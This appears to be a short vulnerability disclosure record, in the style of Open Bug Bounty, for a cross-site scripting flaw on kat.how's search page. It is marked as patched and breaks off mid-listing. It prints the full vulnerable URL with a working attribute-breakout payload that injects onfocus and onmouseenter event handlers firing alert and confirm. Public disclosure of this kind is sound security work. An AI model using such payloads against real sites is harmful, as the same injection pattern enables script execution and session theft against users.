kat.how XSS vulnerability

Vulnerable URL: https://kat.how/search.php?q='"+autofocus+onfocus=alert'OPENBUGBOUNTY'value=OPENBUGBOUNTY"' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirmOPENBUGBOUNTY // Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status...